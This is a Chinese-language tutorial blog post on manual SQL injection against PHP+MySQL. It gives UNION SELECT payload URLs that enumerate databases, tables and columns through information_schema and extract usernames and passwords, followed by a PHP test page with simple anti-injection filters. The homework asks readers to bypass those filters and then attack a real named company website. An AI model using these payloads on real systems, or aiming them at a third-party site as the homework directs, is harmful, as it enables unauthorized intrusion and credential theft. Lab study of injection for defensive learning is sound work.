小迪教程第四天——Php+mysql注入

Access注入属于暴力猜解
Mysql5.0以上注入属于有根据的(information_schema数据库)
Mysql5.0以下注入属于暴力猜解

Access数据结构

Access数据库
表名
列名
数据

Mysql数据结构

Mysql数据库
a数据库
表名
列名
数据
b数据库
表名
列名
数据

手写测试注入页面(php+mysql)

思路步骤:
准备工作:mysql数据库中新建数据(导入数据库并执行)
1.连接mysql数据库
2.设置接受参数并组合sql语句
3.执行sql语句并处理结果

Mysql5.0以上注入获取帐号密码
1.获取当前使用的数据库名
http://192.168.207.128/sqlin.php?id=5 UNION SELECT database(),2,3,4,5

2.获取数据库名下的表名
http://192.168.207.128/sqlin.php?id=5 UNION SELECT table_name,2,3,4,5 from
information_schema.tables where table_schema=0x73716C696E

3.获取对应表名下的列名
http://192.168.207.128/sqlin.php?id=5 UNION SELECT column_name,2,3,4,5 from
information_schema.columns where table_name=0x75736572

4.获取内容数据
http://192.168.207.128/sqlin.php?id=5 UNION SELECT username,password,3,4,5 from user

查询函数:
Database():数据库名 sqlin
User():数据库用户 root
Version():数据库版本 5.5.40
@@version_compile_os:操作系统 win32

Information_schema数据库:mysql5.0以上版本自带的数据库,它是存储mysql数据库下的所有数据库下的表名及列名信息的数据库。

information_schema.tables:information_schema数据库下的tables表名(存储表名信息的表)
table_schema:数据库名
Table_name:表名
Column_name:列名
information_schema.columns:information_schema数据库下的columns列名(存储列名信息的表)

防注入的实现

1.针对关键字过滤(正则表达式)
2.判断传参类型(类型函数)
3.行为进行判断

<?

$conn = mysql_connect("127.0.0.1","root","root");//连接mysql数据库并将返回结果赋值给变量conn
//接受参数名为id的值并赋值给变量x
//1.针对关键字过滤(正则表达式)
//$x = str_replace("union","x",$_GET['id']);
//2.判断传参类型(类型函数)
$x = $_GET['id'];
if(is_numeric($x)){
    mysql_select_db("sqlin",$conn);//选择连接请求为conn下的fanke数据库
    $sql="select * from user where id=$x";
    $result = mysql_query($sql);//执行变量sql的语句并将返回结果赋值给变量result
//数组遍历结果选择显示
    while($row = mysql_fetch_array($result)){
        echo "用户ID:".$row['id']."<br >";
        echo "用户名:".$row['username']."<br >";
        echo "用户密码:".$row['password']."<br >";
    }

    mysql_close($conn);
    echo '<hr>';
    echo $sql;
}
else{
    echo "防注入程序";
}



?>

作业:
1.搭建环境,手写注入页面,尝试防注入实现并绕过
2.完成实验目标:
http://www.microtek.com.cn/
(1.没有数字显示 2.表列名显示不全)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值